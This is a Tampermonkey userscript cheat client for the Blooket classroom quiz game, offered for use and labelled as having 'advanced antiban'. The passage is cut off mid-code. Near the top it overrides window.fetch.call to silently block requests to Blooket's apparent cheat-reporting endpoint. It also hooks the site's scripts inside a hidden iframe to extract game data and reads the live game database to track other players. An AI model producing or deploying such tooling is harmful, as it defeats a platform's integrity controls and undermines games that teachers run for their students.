// ==UserScript==
// @name X-GUI CLIENT FOR BLOOKET
// @namespace http://tampermonkey.net/
// @version 6.40x
// @description NOT PATCHED ANYMORE, THE BEST GUI ON THE WEB! ADVANCED ANTIBAN AND TONS OF FEATURES {CHEAT} {HACK} {CLIENT}
// @author You
// @run-at document-end
// @match *://*.blooket.com/*
// @match *://blooket.com/*
// @license APGL-3.0
// @icon https://media1.giphy.com/media/v1.Y2lkPTZjMDliOTUyNGpzdnl1czBxcm14bGt6OWR5MHVucnIzN3BseGxrNDRrZGpoMGZ1MyZlcD12MV9zdGlja2Vyc19zZWFyY2gmY3Q9cw/pgslAFp1vWALCgFlrC/giphy.gif
// @grant none
// @downloadURL https://update.greasyfork.org/scriptss/553301/X-GUI%20CLIENT%20FOR%20BLOOKET.user.js
// @updateURL https://update.greasyfork.org/scripts/553301/X-GUI%20CLIENT%20FOR%20BLOOKET.meta.js
// ==/UserScript==
(function() {
'use strict';
/**
* @license AGPL-3.0
* Blooket Cheats
* Copyright (C) 2023-present 05Konz/Xullys
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see .
*
* Source: https://github.com/Blooket-Council/Blooket-Cheats * EMAIL: 05konz994@gmail.com
* Source: https://greasyfork.org/en/scripts/553301/versions/new * EMAIL slinkingfox@outlook.com
*/
/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */
(() => {
let iframe = document.querySelector("iframe");
if (!iframe) {
iframe = document.createElement("iframe");
iframe.style.display = "none";
document.body.append(iframe);
(function() {
const globalKey = "xgui_welcomeDismissed";
if (localStorage.getItem(globalKey) === "true") return; // stops popup everywhere if checked
const popup = document.createElement("div");
popup.style.cssText = `
position: fixed;
inset: 0;
display: grid;
place-items: center;
background: rgba(0,0,0,0.6);
backdrop-filter: blur(6px);
z-index: 999999;
animation: fadeIn 0.3s ease;
`;
const box = document.createElement("div");
box.style.cssText = `
background: linear-gradient(145deg, #11111A, #1B1B2E);
color: #E4E4F0;
padding: 16px 22px;
width: 340px;
border-radius: 12px;
font-family: 'Nunito', sans-serif;
position: relative;
box-shadow: 0 4px 20px rgba(0,0,0,0.7);
animation: slideUp 0.32s ease;
text-align: center;
`;
box.innerHTML = `
Welcome to X-GUI ✨
The sleekest, most advanced Blooket client — enjoy the experience!
`;
const switchEl = box.querySelector("#xgui_switch");
const knob = box.querySelector("#xgui_knob");
let checked = false;
switchEl.onclick = () => {
checked = !checked;
if (checked) {
switchEl.style.background = "#7F5AF0";
knob.style.left = "19px";
knob.style.background = "#fff";
} else {
switchEl.style.background = "#333";
knob.style.left = "1px";
knob.style.background = "#ccc";
}
};
const close = document.createElement("div");
close.textContent = "✕";
close.style.cssText = `
position: absolute;
top: 6px;
right: 8px;
font-size: 1.2em;
cursor: pointer;
color: #FF6B6B;
transition: 0.2s;
`;
close.onmouseover = () => close.style.color = "#FF3B3B";
close.onmouseleave = () => close.style.color = "#FF6B6B";
close.onclick = () => {
if (checked) {
localStorage.setItem(globalKey, "true"); // disables popup globally on all pages
}
popup.style.animation = "fadeOut 0.25s ease";
setTimeout(() => popup.remove(), 200);
};
box.appendChild(close);
popup.appendChild(box);
document.body.appendChild(popup);
const style = document.createElement("style");
style.textContent = `
@keyframes fadeIn { from {opacity:0;} to {opacity:1;} }
@keyframes fadeOut { from {opacity:1;} to {opacity:0;} }
@keyframes slideUp { from {transform:translateY(30px);opacity:0;} to {transform:translateY(0);opacity:1;} }
`;
document.head.appendChild(style);
})();
}
/* By CryptoDude3 */
if (window.fetch.call.toString() == 'function call() { [native code] }') {
const call = window.fetch.call;
window.fetch.call = function () {
if (!arguments[1].includes("s.blooket.com/rc")) return call.apply(this, arguments);
}
}
const timeProcessed = 1747005941679;
let latestProcess = -1;
const cheat = (async () => {
const versionName = "6.40x";
const gui = document.createElement("div");
Object.assign(gui.style, {
top: window.innerHeight / 2 - 250 + "px",
left: innerWidth / 2 - 400 + "px",
});
const variables = {
"--highlight": "#8A2BE2", // Bright purple highlight (like Blooket’s Tower glow)
"--highlight2": "#4B0082", // Deep indigo secondary
"--background": "#0B0B1E", // Dark bluish background
"--background2": "#151534", // Slightly lighter dark layer
"--textColor": "#E0E0FF", // Soft light text
"--textColor2": "#9A8CFF", // Muted purple text
"--toggleOff": "#2C273F", // Deep shadowy indigo — off
"--toggleOn": "#5FA3FF", // Muted soft blue — on, pops subtly
};
let settings,
settingsKey = "KGUI.BenIsASillyGoose";
const Settings = {
data: null,
setItem(k, v) {
k.split(".").reduce((obj, k, i, a) => (++i == a.length && (obj[k] = v), k in obj ? obj[k] : (obj[k] = {})), this.data);
localStorage.setItem(settingsKey, JSON.stringify(this.data));
return v;
},
deleteItem(k) {
k.split(".").reduce((obj, k, i, a) => (++i == a.length && delete obj[k], obj[k]), this.data);
localStorage.setItem(settingsKey, JSON.stringify(this.data));
return this.data;
},
setData(v) {
this.data = v;
localStorage.setItem(settingsKey, JSON.stringify(this.data));
},
};
const defaultHideKey = { ctrl: true, shift: false, alt: false, key: "e" };
const defaultCloseKey = { ctrl: true, shift: false, alt: false, key: "x" };
for (const variable in variables) gui.style.setProperty(variable, variables[variable]);
try {
Settings.data = JSON.parse(localStorage.getItem(settingsKey) || "{}");
} catch {
localStorage.setItem(settingsKey, "{}");
Settings.data = {};
} finally {
for (const variable in Settings.data.theme || {}) gui.style.setProperty("--" + variable, Settings.data.theme[variable]);
Settings.data.hideKey ??= defaultHideKey;
Settings.data.closeKey ??= defaultCloseKey;
}
const styles = document.createElement("style");
const classes = {},
datasets = {};
styles.innerHTML =
"@import url('https://fonts.googleapis.com/css?family=Titan+One');\n@import url('https://fonts.googleapis.com/css?family=Nunito');" +
`.bigTextContainer,.version{align-items:center;user-select:none}.cheatsList>div,.settingsPage>div{padding:5px 10px}.gamemode,.gui,.leaderboardList,.sidebar{box-sizing:border-box}.controls>div,.credit,.pathText,.runCheat,.sidebarPath,.version{user-select:none}.noScroll::-webkit-scrollbar{display:none}.noScroll{-ms-overflow-style:none;scrollbar-width:none}.gui {
position: fixed;
z-index: 100;
background: var(--background);
height: 500px;
width: 800px;
color: #fff;
padding-left: 50px;
font-size: 16px;
/* clean corners */
border-radius: 20px;
overflow: hidden; /* hides overlapping sidebar edges */
/* strobing purple edge */
box-shadow: 0 0 15px var(--highlight);
animation: edgePulse 2s ease-in-out infinite;
}
/* add a wrapper to keep glow around full rounded border */
.gui::after {
content: "";
position: absolute;
inset: 0;
border-radius: 20px;
border: 2px solid var(--highlight);
pointer-events: none; /* lets you click through it */
animation: edgePulse 2s ease-in-out infinite;
}
/* animate border glow */
@keyframes edgePulse {
0% {
border-color: var(--highlight);
box-shadow: 0 0 10px var(--highlight);
}
50% {
border-color: var(--highlight2);
box-shadow: 0 0 25px var(--highlight2);
}
100% {
border-color: var(--highlight);
box-shadow: 0 0 10px var(--highlight);
}
}
button,
.runCheat,
.cheatToggle,
.toggleTrigger,
.controls > div,
.searchbarButton {
border-radius: 12px !important;
}
.controls,.credit,.gamemodesList,.guiContent,.guiTopBar,.sidebar,.sidebarShadow,.version{position:absolute}.sidebarShadow{inset:0;background:#000;opacity:0%;pointer-events:none;transition:.2s;z-index:9}.controls>div,.guiContent,.sidebar,select[data-type] option{background:var(--background2)}.sidebarShadow:has(~ .sidebar:hover){opacity:40%}.credit{bottom:0;left:0;right:0;height:0;transition:.1s;overflow:hidden;text-align:center}.sidebar{top:0;left:0;height:100%;width:50px;transition:.2s 0.1s;z-index:10;overflow-x:hidden;overflow-y:hidden;padding-bottom:30px}
.sidebar:hover{width:200px;transition-delay:0s}.sidebar:hover>.credit{height:25px;transition:.4s 0.2s}.guiContent{inset:20px;left:70px;top:40px;z-index:1;padding-top:32px}.guiTopBar{z-index:1;top:0;left:50px;right:0;height:25px}.version{top:0;left:0;margin-inline:10px;color:#888;font-size:.9em;letter-spacing:.5px;height:100%;display:flex}.controls{top:0;right:0;display:grid;grid-template-columns:1fr 1fr 1fr;height:25px;width:122px;gap:1px;border:1px solid var(--background);z-index:2}.controls>div{display:grid;place-items:center;font-weight:100}.closeControl{transition:.1s}.closeControl:hover{background:red}.creditsPage,.gamemodesPage,.searchPage{position:absolute;inset:0;top:32px}.gamemodesList{display:grid;gap:0 30px;padding-inline:30px;margin-top:0;padding-top:15px;margin-bottom:0;grid-template-columns:1fr 1fr;overflow-y:scroll;inset:0}.leaderboardPage,.logsPage{inset:10px;position:absolute}.pathText{position:absolute;top:40px;left:70px;right:20px;z-index:3;padding:7px 10px;height:22px}.clearLogsButton,.refreshControl{z-index:5;place-items:center;cursor:pointer}.leaderboardPage{top:42px}.leaderboardList{list-style:none;margin:0;padding:20px 40px 10px;height:100%;overflow:scroll;font-size:1.5em}.logsPage{top:37px;background:#000d;border-radius:2.5px}.logMessages{list-style:none;margin:10px;padding:0;display:flex;flex-direction:column-reverse;overflow-y:scroll;word-wrap:break-word;position:absolute;inset:0}.clearLogsButton{position:absolute;top:5px;right:5px;width:25px;height:25px;display:grid;scale:-1 1 1;transition:.2s}.searchbarHolder{display:flex;outline:2px solid var(--highlight);margin:10px 20px;height:30px;font-size:2em}.searchbarInput{outline:0;border:none;background:0 0;color:#fff;flex:1;font-size:.5em;font-family:Nunito;padding-inline:5px}.gamemode,.settingsPage>div{border-radius:2.5px;background:var(--background)}.searchbarButton{color:#fff;font-size:.6em;aspect-ratio:1/1;height:30px;display:grid;place-items:center;cursor:pointer}.bigText,.bigTextContainer{height:50px;width:200px;font-family:Titan One}.searchResults{position:absolute;inset:0;top:45px;padding-inline:20px;overflow-y:scroll}.favoritesPage,.settingsPage{inset:0;top:32px;overflow-y:scroll;position:absolute}.noResult{margin:20px 10px;font-size:.85em}.clearLogsButton:hover,.licenseMessage{font-size:1.25em}.favoritesPage{padding-block:10px;padding-inline:20px}.licenseMessage{font-weight:900;padding-inline:20px;margin-top:10px}.copyrightTag{font-size:.7em;font-weight:200;position:absolute;bottom:0;left:0;padding:5px 8px}.codingCredits,.creditLinks,.uploadDates{list-style:none;padding-inline:20px;margin-block:16px}.settingsPage{padding:10px;display:flex;flex-direction:column;gap:10px}.sidebarPaths{display:flex;flex-direction:column;width:200px}.bigTextContainer{display:flex;font-size:2em;margin-block:10px;transition:font-size .2s .1s,margin-block .2s .1s}.bigText{display:flex;align-items:center;justify-content:center}.refreshControl{position:absolute;top:45px;right:25px;width:25px;height:25px;display:grid}.gamemode{width:100%;height:200px;margin-bottom:30px;cursor:pointer;display:flex;justify-content:center;align-items:center;padding-top:10px;position:relative;overflow:hidden;padding-bottom:35px;transition:.4s}.contentPage,.gamemode>div{position:absolute;bottom:0}.gamemode:hover{box-shadow:0 0 10px var(--highlight);transition:.2s}.gamemode>img{width:85%;max-width:100%;max-height:100%}.gamemode>div{left:0;right:0;height:25px;background:var(--highlight);display:flex;justify-content:center;align-items:center;box-shadow:0 -5px 5px #0004;font-weight:800;font-size:1.1em;transition:.25s}.contentPage{inset-inline:0;top:35px}.cheatsList{display:flex;flex-direction:column;height:100%;overflow-y:scroll;padding-inline:10px}.cheatToggle,.cheatToggle>.toggleTrigger,.runCheat{height:35px;border-radius:2.5px}.cheatsList>div{display:grid;margin-bottom:10px;position:relative;background:var(--background);border-radius:2.5px}.cheatInfo,.cheatInputs,.cheatName,.cheatTop,.logMessage>span,.runCheat,.sidebarPath,.sidebarPath>i{display:flex}.cheatInfo{flex-direction:column;flex:1}.cheatName{font-size:1.5em;font-weight:700}.cheatDescription{font-size:.8em;margin-right:25px}.runCheat{--buttonColor:var(--highlight);width:20%;background:var(--buttonColor);margin-block:auto;cursor:pointer;align-items:center;justify-content:center;font-weight:800;transition:.5s;color:#fff!important}.runCheat:hover{box-shadow:0 0 10px 0 var(--buttonColor);transition:.3s}.runCheat:active{box-shadow:0 0 0 0 var(--buttonColor);transition:50ms}.cheatInputs{margin:5px 0 5px 5px;flex-direction:column;gap:5px}.searchResult,.standing{margin-bottom:10px;transition:.2s}.creditsPage>ul>li>strong,.logMessage img,.standingBlook{margin-right:5px}.cheatInputs>div{display:flex;flex-direction:row;font-size:.8rem;color:var(--highlight);font-weight:700;align-items:center}.cheatInputs>div>span{flex:1}.cheatToggle{width:20%;background:var(--highlight2);margin-block:auto;cursor:pointer;position:relative}.cheatToggle>.toggleTrigger{width:45px;position:absolute;top:0;left:0;background:var(--highlight);pointer-events:none;transition:left .2s,box-shadow .5s;z-index:1}.cheatToggle:hover>.toggleTrigger{box-shadow:0 0 10px 0 var(--highlight);transition:left .2s,box-shadow .2s}.toggleTrigger.active{left:calc(100% - 45px)}.toggleColor{position:absolute;inset:10px 20px;background:rgb(from var(--toggleOff) r g b / 25%);border-radius:2.5px;transition:.2s}.toggleTrigger.active+.toggleColor{background:rgb(from var(--toggleOn) r g b / 25%)}input[data-type],select[data-type]{width:20%;height:25px;outline:0;border:2px solid var(--highlight);box-sizing:border-box;background:0 0;color:#fff;font-size:.9em;padding-left:5px;font-family:Nunito;border-radius:2px;font-weight:800}.logo,.sidebarPath>i{width:50px;height:50px}select[data-type]{-webkit-appearance:none;-moz-appearance:none;text-indent:1px;text-overflow:''}input::placeholder{color:rgb(from var(--textColor) r g b / 50%)}input[data-type]::-webkit-inner-spin-button,input[data-type]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}input[data-type][type=number]{-moz-appearance:textfield}select[data-type] option{border-radius:0}select[data-type]::-ms-expand{display:none}.sidebarPath{align-items:center;cursor:pointer;transition:.2s 0.1s}.searchResult:hover,.sidebarPath:hover{color:var(--highlight);text-shadow:0 0 5px var(--highlight)}.sidebarPath>i{justify-content:center;align-items:center;font-size:1.5em}.sidebarPath>span{padding-left:5px}.sidebar:hover .sidebarPath{padding-left:20px;transition-delay:0s}.logo{left:0;transition:left .2s .1s;display:grid;place-items:center;min-width:50px;position:absolute}.sidebar:hover .logo{left:28px;transition:left .2s}.bigText{margin-top:-150px;transition:margin-top .1s}.sidebar:hover .bigText{margin-top:0;transition:margin-top .4s 0.1s}.sidebar:hover .bigTextContainer{font-size:2.5em;margin-block:20px;transition:font-size .2s,margin-block .2s}/* === Glowing title effect === */
.bigText {
text-shadow: 0 0 10px var(--highlight), 0 0 20px var(--highlight2);
animation: glowPulse 2s ease-in-out infinite alternate;
}
@keyframes glowPulse {
from { text-shadow: 0 0 10px var(--highlight); }
to { text-shadow: 0 0 25px var(--highlight2), 0 0 40px var(--highlight); }
}
.creditsPage>ul>li>span{color:var(--textColor2);font-weight:800}.creditsPage>ul>li i{margin-inline:2px;line-height:1}.creditsPage a{color:var(--highlight);text-decoration:none}.creditsPage a:hover,.pathPage:hover{text-decoration:underline}.warning{color:var(--highlight2);font-size:.85em}.searchResult{cursor:pointer}.searchResultName{font-weight:800}.searchResultDescription{font-size:.8em}.searchResultSeparator{font-size:1.5em;font-weight:800;margin-block:10px;cursor:pointer;transition:.2s;border-bottom:2px solid #fff;padding-inline:5px;filter:drop-shadow(0px 0px 0px var(--highlight))}.searchResultSeparator:hover{color:var(--highlight);border-bottom:2px solid var(--highlight);filter:drop-shadow(0px 0px 2.5px var(--highlight))}.toggleCheat{--buttonColor:var(--toggleOff)}.toggleCheat.active{--buttonColor:var(--toggleOn)}.logMessage img{height:1em;align-self:center}.standing{display:flex;font-weight:800;align-items:center;position:relative;padding:5px 10px 5px 50px;border-radius:2.5px;background:var(--highlight2)}.standing:before{content:attr(data-place) ".";margin-right:10px}.standing::after{content:attr(data-value);flex:1;text-align:right;font-weight:100}.standing:hover{background:var(--standingColor);box-shadow:0 0 7.5px var(--standingColor)}.standingBlook{height:1.25em;align-self:center;position:absolute;left:10px}.favoriteButton,.favoriteButton>i{transition:.2s;display:grid;place-items:center;width:32px;height:32px}.favoriteButton{font-size:.8em;padding-left:5px;cursor:pointer}.favoriteButton:hover{color:#ff0}.favoriteButton>i{position:absolute;scale:0;transform-origin:50% 55%}.favoriteButton>i.filled{scale:1}.pathPage{cursor:pointer;color:var(--highlight)}[data-favorited=false],[data-favorites="0"]{display:none}
[data-mode][data-name][data-description] {}`
.replace(/\.([^0-9][\w-]+)/gm, (x, y) => "." + (classes[y] ??= randString(10)))
.replace(/data-(\w+)/gm, (x, y) => "data-" + (datasets[y] ??= randString(10)));
gui.className = classes.gui;
gui.append(styles);
function roundGamemodeBoxes() {
// Select only the gamemode tiles via the obfuscated class name
const gamemodes = gui.querySelectorAll("." + classes.gamemode);
gamemodes.forEach(tile => {
tile.style.borderRadius = "15px"; // clean rounded edges
tile.style.overflow = "hidden"; // keeps images clipped cleanly
});
}
// delay ensures elements exist
setTimeout(roundGamemodeBoxes, 50);
const sidebarShadow = document.createElement("div");
sidebarShadow.className = classes.sidebarShadow;
gui.appendChild(sidebarShadow);
const credit = document.createElement("div");
credit.className = classes.credit;
const sidebar = document.createElement("div");
sidebar.className = classes.sidebar;
sidebar.append(credit);
const guiContent = document.createElement("div");
guiContent.className = classes.guiContent;
const guiTopBar = document.createElement("div");
guiTopBar.className = classes.guiTopBar;
const version = document.createElement("span");
version.className = classes.version;
version.innerText = "SHx xullys - X-GUI " + versionName;
guiTopBar.append(version);
const controls = document.createElement("div");
controls.className = classes.controls;
// Move Control (<-->)
const moveControl = document.createElement("div");
moveControl.style.cursor = "grab";
moveControl.innerHTML = `
`;
// Minimize Control (-)
const minimizeControl = document.createElement("div");
let hideAnimation = false;
minimizeControl.minimized = false;
const minimizeSVG = `
`;
// Fullscreen Control (4 edges)
const fullscreenSVG = `
`;
minimizeControl.innerHTML = minimizeSVG;
minimizeControl.onclick = () => {
if (hideAnimation == (hideAnimation = true)) return;
const hidden = minimizeControl.minimized;
if (hidden) {
minimizeControl.innerHTML = minimizeSVG;
gui.animate(
[
{ width: "122px", height: "27px", left: gui.style.left },
{ width: "800px", height: "500px", left: `${parseInt(gui.style.left) - 678}px` },
],
{ duration: 200, easing: "ease" }
);
gui.style.width = "800px";
gui.style.height = "500px";
} else {
minimizeControl.innerHTML = fullscreenSVG;
gui.animate(
[
{ width: "800px", height: "500px", left: gui.style.left },
{ width: "122px", height: "27px", left: `${parseInt(gui.style.left) + 678}px` },
],
{ duration: 200, easing: "ease" }
);
gui.style.width = "122px";
gui.style.height = "27px";
}
setTimeout(() => {
for (let child of [...gui.children]) {
if (child === controls) continue;
if (hidden) child.style.display = child.style._display;
else {
child.style._display = child.style.display;
child.style.display = "none";
}
}
hideAnimation = false;
}, hidden ? 200 : 0);
gui.style.left = `${parseInt(gui.style.left) + (hidden ? -678 : 678)}px`;
minimizeControl.minimized = !hidden;
};
// Close Control (X)
const closeControl = document.createElement("div");
closeControl.className = classes.closeControl;
closeControl.innerHTML = `
`;
closeControl.onclick = () => gui.remove();
controls.append(moveControl, minimizeControl, closeControl);
/* === XGUI UNIVERSAL PERSIST v4 (working across all subdomains, never breaks init) === */
(function () {
const KEY = "xgui_state_v4";
const COOKIE_OPTS = "; path=/; domain=.blooket.com; expires=Tue, 19 Jan 2038 03:14:07 GMT";
const SHIFT = 678; // your minimize left-shift
// ---------------------------
// COOKIE HELPERS
// ---------------------------
function saveState(state) {
try {
document.cookie =
KEY + "=" + encodeURIComponent(JSON.stringify(state)) + COOKIE_OPTS;
} catch (e) {}
}
function loadState() {
try {
const m = document.cookie.match(new RegExp(KEY + "=([^;]+)"));
return m ? JSON.parse(decodeURIComponent(m[1])) : {};
} catch (e) { return {}; }
}
// ---------------------------
// SAFE SAVE (always store NON-minimized coords)
// ---------------------------
function saveNow() {
try {
const rect = gui.getBoundingClientRect();
const isMin = minimizeControl?.minimized || false;
let left = parseInt(gui.style.left) || rect.left;
let top = parseInt(gui.style.top) || rect.top;
// Canonicalize
if (isMin) left -= SHIFT;
saveState({
left,
top,
minimized: isMin
});
} catch (e) {}
}
// ---------------------------
// RESTORE AFTER GUI IS BUILT
// ---------------------------
(async function restore() {
// Wait until fully initialized (prevents GUI failing to load)
while (!gui || !minimizeControl || !moveControl || gui.children.length < 2) {
await new Promise(r => setTimeout(r, 25));
}
const s = loadState();
if (!s.left && !s.top) return; // no saved state yet
// Restore as FULL SIZE FIRST
gui.style.width = "800px";
gui.style.height = "500px";
gui.style.left = s.left + "px";
gui.style.top = s.top + "px";
// Let layout settle
await new Promise(r => setTimeout(r, 20));
// THEN minimize if needed
if (s.minimized) {
minimizeControl.onclick(); // run real animation
}
})();
// ---------------------------
// HOOK SAVE EVENTS
// ---------------------------
// Wrap minimize button
const origMin = minimizeControl.onclick;
minimizeControl.onclick = function () {
origMin();
setTimeout(saveNow, 30);
};
// Save after drag
document.addEventListener("pointerup", () => setTimeout(saveNow, 30));
// Save on exit
window.addEventListener("beforeunload", saveNow);
})();
dragElement(moveControl, gui);
const gamemodesPage = document.createElement("div");
gamemodesPage.className = classes.gamemodesPage;
const gamemodesList = document.createElement("div");
gamemodesList.className = classes.noScroll + " " + classes.gamemodesList;
const path = [["Gamemodes", gamemodesPage]];
const pathText = document.createElement("div");
pathText.className = classes.pathText;
path.createPage = function (name, index, current) {
const page = document.createElement("span");
page.innerText = name;
if (!current) page.className = classes.pathPage;
page.onclick = () => this.goto(index);
return page;
};
path.updatePath = function () {
pathText.innerHTML = "";
pathText.append(this.createPage(this[0][0], 0, this.length == 1));
for (let i = 1; i < this.length; i++) {
pathText.append(" > ");
pathText.append(this.createPage(this[i][0], i, this.length - 1 == i));
}
guiContent.innerHTML = "";
guiContent.append(this[this.length - 1][1]);
this[this.length - 1][1]?.onPath?.();
};
path.push = function (key, page) {
Array.prototype.push.call(this, [key, page]);
this.updatePath();
return this.length;
};
path.goto = function (index) {
while (this.length - 1 > index) this.pop();
this.updatePath();
};
path.sidebar = function (key, page) {
while (this.length > 0) this.pop();
return this.push(key, page);
};
const leaderboardPage = document.createElement("div");
leaderboardPage.className = classes.leaderboardPage;
const leaderboardList = document.createElement("ul");
leaderboardList.className = classes.noScroll + " " + classes.leaderboardList;
leaderboardPage.append(leaderboardList);
const logsPage = document.createElement("div");
logsPage.className = classes.logsPage;
const logMessages = document.createElement("ul");
logMessages.className = classes.noScroll + " " + classes.logMessages;
const clearLogsButton = document.createElement("div");
clearLogsButton.className = classes.clearLogsButton;
clearLogsButton.innerHTML = ``;
logsPage.append(logMessages, clearLogsButton);
let leaderboardPath;
const Logs = {
connection: null,
standings: [],
data: {},
gamemodeData: {
gold: {
sort: "g",
},
hack: {
sort: "cr",
},
fish: {
sort: "w",
},
pirate: {
sort: "d",
},
defense2: {
sort: "d",
},
brawl: {
sort: "xp",
upgrades: {
egg: "Rapid Eggs",
nut: "Crazy Acorns",
slime: "Bouncing Slime",
jesterBall: "Juggling Spheres",
horseshoe: "Revolving Horseshoes",
shell: "Rebounding Shell",
pizza: "Boomerang Pizza",
banana: "Curving Banana",
arrow: "Speeding Arrows",
peacock: "Peacock Feathers",
bone: "Whirling Bones",
bee: "Buzzing Bees",
bubble: "Booming Bubbles",
card: "Slicing Cards",
laser: "Rapid-fire Lasers",
darkEnergy: "Dark Energy",
syrup: "Sticky Syrup",
birdFeather: "Flying Feathers",
},
},
dino: {
sort: "f",
},
royale: {
sort: "e",
},
defense: {
sort: "d",
},
cafe: {
sort: "ca",
},
factory: {
sort: "ca",
glitches: { lb: "Lunch Break", as: "Ad Spam", e37: "Error 37", nt: "Night Time", lo: "#LOL", j: "Jokester", sm: "Slow Mo", dp: "Dance Party", v: "Vortex", r: "Reverse", f: "Flip", m: "Micro" },
},
racing: {
sort: "pr",
},
rush: {
sort: "bs",
},
classic: {
sort: "p",
},
tower: {},
kingdom: {},
toy: {
sort: "t",
sabotages: { c: "Oh Canada", b: "Blizzard", f: "Fog Spell", d: "Dark & Dusk", w: "Howling Wind", g: "Gift Time!", t: "TREES", s: "Snow Plow", fr: "Use The Force" },
},
},
exponents: ["⁰", "¹", "²", "³", "⁴", "⁵", "⁶", "⁷", "⁸", "⁹"],
formatNumber(input) {
const [number, exponent] = (input = parseFloat(input)).toLocaleString(undefined, { notation: "engineering" }).toLowerCase().split("e");
if (exponent < 15) return number + ["", "k", "M", "B", "T"][exponent / 3];
const [num, exp] = input.toLocaleString(undefined, { notation: "scientific" }).toLowerCase().split("e");
return num + " \xd7 10" + exp.split("").reduce((a, b) => a + Logs.exponents[b], "");
},
leaderboardCache: {},
createStandingElement(name) {
const element = document.createElement("li");
element.className = classes.standing;
element.innerText = name;
const blook = document.createElement("img");
blook.className = classes.standingBlook;
element.prepend(blook);
return (Logs.leaderboardCache[name] = element);
},
setLeaderboard(standings) {
if (standings.length > 0) leaderboardPath.style.display = "flex";
leaderboardList.innerHTML = "";
let place = 1;
let blookInfo;
for (let i = 0; i < standings.length; i++) {
const standing = standings[i];
const standingEl = Logs.leaderboardCache[standing.name] || Logs.createStandingElement(standing.name);
standingEl.firstChild.src = (blookInfo = Logs.blookData[Logs.data[standing.name]?.b || "Black"]).url;
standingEl.style.setProperty("--standingColor", blookInfo.color);
standingEl.dataset[datasets.value] = Logs.formatNumber(standing.value);
if (standings[i - 1]?.value != standings[i].value) place = i + 1;
standingEl.dataset[datasets.place] = place;
leaderboardList.append(standingEl);
}
},
blookData: null,
fetchBlooks() {
return (
Logs.blookData ??
new Promise((r) => {
var i = document.createElement("iframe");
i.style.display = "none";
var s = document.createElement("script");
s.type = "module";
s.src = document.querySelector("script[src*='ac.blooket.com']").src + "?" + Date.now();
const a = document.createElement("div");
a.id = "app";
let blooks = {};
document.body.appendChild(i);
let finish;
i.contentWindow.Object.prototype.hasOwnProperty.call = function (a, b) {
if (a[b]?.rarity && a in blooks == false) Object.assign(blooks, a);
finish ??= setTimeout(() => {
document.body.removeChild(i);
r((Logs.blookData = blooks));
});
return Object.prototype.hasOwnProperty.call(a, b);
};
i.contentDocument.body.appendChild(a);
i.contentDocument.body.appendChild(s);
})
);
},
async connect() {
try {
const stateNode = getStateNode();
if (!stateNode?.props?.liveGameController?._liveGameCode) return false;
Logs.connection = await stateNode.props.liveGameController.getDatabaseRef("c");
if (!Logs.connection) return false;
await Logs.fetchBlooks();
const gamemode = Logs.getGamemode();
Logs.connection.on("value", (snapshot) => {
const players = snapshot.val() || {};
let added;
if (!players || !(added = Logs.diffObjects(Logs.data, players))) return;
Logs.data = players;
if (Logs.gamemodeData[gamemode].sort) {
Logs.standings = Object.entries(players)
.map(([name, data]) => ({ name, blook: data.b, value: data[Logs.gamemodeData[gamemode].sort] || 0 }))
.sort((a, b) => b.value - a.value);
Logs.setLeaderboard(Logs.standings);
}
try {
let addedPlayer;
switch (gamemode) {
case "brawl":
for (const player in added) {
if (!(addedPlayer = added[player]).up) continue;
const upgrade = addedPlayer.up.split(":");
if (upgrade.length == 2 && upgrade[0] in Logs.gamemodeData.brawl.upgrades) Logs.addAlert(player, `upgraded ${Logs.gamemodeData.brawl.upgrades[upgrade[0]]} to level ${upgrade[1]}`);
}
break;
case "gold":
for (const player in added) {
if (!(addedPlayer = added[player]).tat) continue;
const [tat, amount] = addedPlayer.tat.split(":");
if (amount == "swap") Logs.addAlert(player, `just swapped ${document.querySelector("[src*='assets/candy']") ? "candy" : "gold"} with ${tat}`);
else Logs.addAlert(player, `just took ${Logs.formatNumber(parseInt(amount))} ${document.querySelector("[src*='assets/candy']") ? "candy" : "gold"} from ${tat}`);
}
break;
case "toy":
for (const player in added) {
if ((addedPlayer = added[player]).s) Logs.addAlert(player, `sabotaged with "${Logs.gamemodeData.toy.sabotages[addedPlayer.s]}"`);
else if (addedPlayer.tat) {
const [tat, amount] = addedPlayer.tat.split(":");
if (amount == "swap") Logs.addAlert(player, `just swapped toys with ${tat}`);
else Logs.addAlert(player, `just took ${Logs.formatNumber(parseInt(amount))} toy${amount == 1 ? "" : "s"} from ${tat}`);
}
}
break;
case "hack":
for (const player in added) {
if (!(addedPlayer = added[player]).tat) continue;
const [tat, amount] = addedPlayer.tat.split(":");
Logs.addAlert(player, `just took ${Logs.formatNumber(parseInt(amount))} crypto from ${tat}`);
}
break;
case "pirate":
for (const player in added) {
if (!(addedPlayer = added[player]).tat) continue;
const [tat, amount] = addedPlayer.tat.split(":");
Logs.addAlert(player, `just took ${Logs.formatNumber(parseInt(amount))} doubloons from ${tat}`);
}
break;
case "defense2":
for (const player in added) {
if (!(addedPlayer = added[player]).r) continue;
Logs.addAlert(player, `just completed Round ${addedPlayer.r}!`);
}
break;
case "fishing":
for (const player in added) {
if ((addedPlayer = added[player]).f == "Frenzy") Logs.addAlert(player, `just started a frenzy`);
else if (addedPlayer.s) Logs.addAlert(player, `just sent a ${addedPlayer.f} distraction`);
}
break;
case "dino":
for (const player in added) {
if (!(addedPlayer = added[player]).tat) continue;
const [tat, caught] = addedPlayer.tat.split(":");
if (caught == "true") Logs.addAlert(player, `just caught ${tat} CHEATING!`);
else Logs.addAlert(player, `investigated ${tat}`);
}
break;
case "cafe":
for (const player in added) {
if (!(addedPlayer = added[player]).up) continue;
const [upgrade, level] = addedPlayer.up.split(":");
if (level) Logs.addAlert(player, `upgraded ${upgrade} to level ${level}`);
}
break;
case "factory":
for (const player in added) {
if ((addedPlayer = added[player]).g) Logs.addAlert(player, `activated the ${Logs.gamemodeData.factory.glitches[addedPlayer.g]} glitch!`);
else if (addedPlayer.s) {
const [amount, synergy] = addedPlayer.s.split("-");
Logs.addAlert(player, `has a ${amount} ${synergy} synergy!`);
} else if (addedPlayer.t) Logs.addAlert(player, `now has 10 Blooks!`);
}
break;
}
} catch (e) {
console.error(e);
